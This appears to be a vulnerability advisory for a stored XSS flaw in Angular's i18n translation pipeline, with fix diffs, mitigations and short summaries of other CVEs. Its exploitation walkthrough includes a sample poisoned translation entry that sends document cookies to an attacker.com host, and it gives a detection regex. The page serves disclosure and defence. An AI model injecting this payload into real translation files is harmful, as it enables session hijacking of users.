Aug 3, 2026·8 min read·2 visits
An input validation flaw in the Angular compiler's i18n translation metadata pipeline enables unauthenticated stored Cross-Site Scripting (XSS) when utilizing untrusted translation assets. Attackers who compromise translation databases or localization files can inject arbitrary JavaScript executable payloads into translated attributes like `i18n-onerror`. Standard Angular runtime property-binding security validations fail to catch this injection because the malicious payloads are rendered as static attributes in the compiled HTML document, enabling full client-side session compromise.
A high-severity security vulnerability has been identified within the Angular compiler's internationalization (i18n) metadata collection and translation pipeline. Angular implements strict defenses against client-side execution injection by validating standard attribute and property bindings. However, when parsing elements containing both i18n translation attributes and inline event-handler elements (such as `i18n-onerror`), the compiler failed to assert the safety of the target attribute. Consequently, compromised or untrusted localization translation source files can supply arbitrary JavaScript payloads that replace static event-handler bindings. This arbitrary code is compiled directly into the localized build bundle and executed dynamically by the web browser, bypassing runtime sanitization, security checks, and standard binding constraints.
Angular utilizes a compiler-driven rendering architecture that automatically neutralizes typical web injection patterns. The framework's standard parsing mechanics block inline JavaScript events and validate all dynamic property-binding expressions against an internal element-validation registry. This mechanism prevents malicious components from injecting and running code through browser event handlers. Under normal conditions, attributes like onerror, onload, or onclick cannot accept unvetted external strings or template expressions.
To translate template content, the compiler incorporates an internationalization (i18n) pipeline. Developers prepend the i18n- prefix to an attribute name to designate its contents as translatable metadata (for instance, i18n-alt or i18n-title). When compiling localized variants of an application, the Angular compilation process extracts the original source strings and replaces them with corresponding translation target records from localized files (such as XML-based .xlf or .xliff standards).
The vulnerability arises because the metadata extraction phase within the compiler did not check whether the target attribute designated for translation was a sensitive browser execution sink. If a template specifies an event-handler attribute accompanied by an active translation instruction (e.g., <img src="a.jpg" onerror="void 0" i18n-onerror />), the compiler records this directive without validation. This architecture allows localization assets to introduce raw executable scripts that are rendered in the final application build as raw, unvalidated DOM attributes.
The underlying security flaw exists in the I18nMetaVisitor class, which resides inside the @angular/compiler package. During compilation, this visitor scans HTML-style template elements to isolate strings designated for localization. When a developer adds i18n-[attribute] to a tag, the compiler attempts to match that configuration to a static template attribute.
While standard Angular compilation runs a rigid security sweep via methods like validateAttribute() and validateProperty(), the compiler's i18n metadata extraction path skipped these security controls. It assumed that developers only mark harmless, static textual properties (e.g., labels, descriptions, alternate text) for localization. As a result, the compiler did not analyze the target destination of the translation. It allowed developers to declare and translate i18n-on* attributes.
At build time, the localizer parses the external translation catalog, retrieves the translation matching the structural ID, and replaces the initial static payload with the translation value. Because the generated string is output directly as a static HTML attribute rather than a runtime property binding, Angular's dynamic runtime defenses (such as the HTML sanitizer and Trusted Types runtime enforcement checks) are not invoked. The browser parses the resulting static HTML, registers the event listener, and executes the raw payload when the target DOM event fires.
The vulnerability was corrected across two development iterations in the Angular codebase.
The initial fix, implemented in commit 6c41f5ca01c0ae045fc7d929b72853a11eb55865, added a validation check to I18nMetaVisitor in the file packages/compiler/src/render3/view/i18n/meta.ts. This check rejected any attribute translation whose destination name begins with the character sequence on:
// packages/compiler/src/render3/view/i18n/meta.ts
@@ -208,7 +208,7 @@ export class I18nMetaVisitor implements html.Visitor {
isTrustedType = isTrustedTypesSink(node.name, name);
}
- if (isTrustedType) {
+ if (isTrustedType || name.toLowerCase().startsWith('on')) {
this._reportError(
attr,
`Translating attribute '${name}' is disallowed for security reasons.`,The original check caused a regression by blocking translations of legitimate HTML attributes like on (which is benign and utilized in frameworks or specific custom elements, such as <div on="some-value" i18n-on>). To resolve this, commit 417a4071a776464d549509ed3aec121dbd2fda5e replaced the simple string prefix check with a more precise function, isPossibleEventHandler:
// packages/compiler/src/render3/view/i18n/meta.ts
@@ -208,7 +208,7 @@ export class I18nMetaVisitor implements html.Visitor {
isTrustedType = isTrustedTypesSink(node.name, name);
}
- if (isTrustedType || name.toLowerCase().startsWith('on')) {
+ if (isTrustedType || isPossibleEventHandler(name)) {
this._reportError(
attr,
`Translating attribute '${name}' is disallowed for security reasons.`,
@@ -350,3 +350,14 @@ export function i18nMetaToJSDoc(meta: I18nMeta): o.JSDocComment {
}
return o.jsDocComment(tags);
}
+
+/**
+ * Check if the propertyName is a potential event handler.
+ * We consider a property to be a potential event handler if its name is longer than 2 characters and starts with 'on' (e.g. 'onclick', 'onload', etc.).
+ * @param propertyName The name of the property to check.
+ * @returns True if the property is a potential event handler, false otherwise.
+ */
+function isPossibleEventHandler(propertyName: string): boolean {
+ const name = propertyName.toLowerCase();
+ return name.length > 2 && name !== 'only' && name.startsWith('on');
+}This logic effectively stops the processing of event handlers as translatable components while allowing benign custom attributes. Any attempt to use i18n-onerror or similar event-handler targets now throws an explicit compilation error, preventing the application from building.
An exploitation chain targets the translation localization workflow, which is typically handled by external agencies, outsourced linguists, or third-party web localization interfaces. This supply-chain vector provides an ideal insertion point because translation data is often treated as benign content rather than executable application code.
Vulnerable Template Identification: The application contains an element with an inline handler marked for translation:
<img src="/missing-image.png" onerror="void 0" i18n-onerror />Translation File Manipulation: An attacker with write access to translation workflows modifies the translated segment in the Spanish localization source file (messages.es.xlf):
<trans-unit id="1234567890" datatype="html">
<source>void 0</source>
<target>fetch('https://attacker.com/log?cookie=' + btoa(document.cookie))</target>
</trans-unit>Application Build: The developer builds the localization targets (ng build --localize). The compiler reads the manipulated translation file and merges the malicious string directly into the template's static compiled attribute space.
Execution: A Spanish-speaking user navigates to the compiled application. When the browser attempts to fetch the broken image URL, it executes the payload within the context of the user's browser session, sending session cookie data back to the attacker.
The security impact of CVE-2026-69151 is high. A successful exploit grants an attacker the ability to execute arbitrary client-side code inside the security context of the victim's browser session. This can lead to complete account takeover, session hijacking via cookie extraction, unauthorized actions on behalf of the user, and exposure of sensitive operational data.
Element.prototype.innerHTML or eval). However, because the payload is compiled into the static DOM layout at build time, it is evaluated directly by the browser parsing engine, evading the security controls enforced by typical client-side Trusted Types frameworks.The recommended solution is to upgrade all Angular dependencies to verified non-vulnerable releases.
@angular/compiler and @angular/core version 20.3.27 or higher.@angular/compiler and @angular/core version 21.2.19 or higher.@angular/compiler and @angular/core version 22.0.1 or higher.If immediate software upgrade cycles are not viable, the following defensive layers should be implemented immediately:
Automated Static Scanning: Implement template scanning or pre-build linting to detect any elements using i18n- prefixes mapped to standard HTML event triggers. The following regular expression can identify risky patterns in Angular templates:
i18n-on(?!ly\b)[a-zA-Z]+Translation Verification and Control: Restrict authorization and manage translation pipelines as high-integrity source code. All external localization documents should be verified using automated schema checks and linting before compilation, ensuring translation payloads do not contain HTML, scripting tags, or code snippets.
Content Security Policy (CSP): Configure and deploy a robust Content Security Policy header. Specifically, omit the 'unsafe-inline' keyword for scripts, which blocks the browser from executing inline attribute-based scripts like those introduced via onerror injections.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
@angular/compiler Google | < 20.3.27 | 20.3.27 |
@angular/compiler Google | >= 21.0.0-next.0, < 21.2.19 | 21.2.19 |
@angular/compiler Google | >= 22.0.0-next.0, < 22.0.1 | 22.0.1 |
@angular/core Google | < 20.3.27 | 20.3.27 |
@angular/core Google | >= 21.0.0-next.0, < 21.2.19 | 21.2.19 |
@angular/core Google | >= 22.0.0-next.0, < 22.0.1 | 22.0.1 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') |
| Attack Vector | Network / Content Supply Chain Injection |
| Attack Complexity | Low (No special conditions required) |
| Authentication Requirements | None (Requires access to influence external translation resources) |
| CVSS v4.0 Base Score | 7.6 (High) |
| Exploit Status | Proof-of-Concept (No known active exploitation in the wild) |
| CISA KEV Status | Not Listed |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
A high-severity heap-based out-of-bounds (OOB) read vulnerability exists in the Cython-based HTTP response and request parser extension of aiohttp. When processing malformed HTTP traffic, the parser fails to properly handle raw C pointers returned by the underlying llhttp library during error-message construction. This triggers an uncontrolled strlen() call on non-null-terminated network buffers, which can result in a Denial of Service (DoS) via worker process crash or the exposure of adjacent heap memory inside exception messages.
CVE-2026-69192 is a critical parser differential vulnerability in the 'ip-address' JavaScript library (versions <= 10.3.0). The library parses IPv4 octets containing leading zeros as base-10 (decimal), whereas standard system resolvers and web environments parse them as base-8 (octal). This discrepancy allows remote attackers to bypass SSRF guards and route malicious requests to internal RFC 1918 networks.
A directory traversal and arbitrary file read vulnerability exists in PostCSS due to an incomplete fix of CVE-2026-45623. When parsing a CSS file containing a sourceMappingURL comment with the 'from' parameter unset, path traversal and absolute path validations are bypassed, enabling attackers to read arbitrary local .map files.
CVE-2026-69152 is a high-severity Denial of Service (DoS) vulnerability in brace-expansion that allows remote, unauthenticated attackers to cause a process crash or infinite thread-blocking condition. The vulnerability stems from a complete mitigation bypass of the security checks implemented for CVE-2026-14257.
An in-depth technical analysis of CVE-2026-68945, a high-severity security vulnerability in Angular's `@angular/common/http` package. The flaw stems from an ambiguity in how query parameters are serialized to generate cache keys during Server-Side Rendering (SSR) within the `HttpTransferCache` component. By failing to encode delimiters and implicitly coercing arrays to comma-joined strings, the serialization mechanism yields identical cache keys for distinct requests, facilitating State Poisoning and Cross-Request Response Reuse.
A critical heap out-of-bounds (OOB) write vulnerability exists in the Linux kernel's IPv6 RPL (Routing Protocol for Low-Power and Lossy Networks) Segment Routing Header (SRH) processing logic. The vulnerability is located within net/ipv6/exthdrs.c, specifically in the ipv6_rpl_srh_rcv function. Under specific circumstances, when a packet containing a compressed RPL Source Routing Header is processed, segment swapping can reduce the common-prefix length, causing the recompressed header to grow. Because the kernel fails to validate available headroom on intermediate segments, a buffer underflow occurs during skb_push. This leads to an integer wrap in the MAC header offset pointer during MAC header rebuilding, causing a 14-byte out-of-bounds memory write roughly 64 KiB past the socket buffer.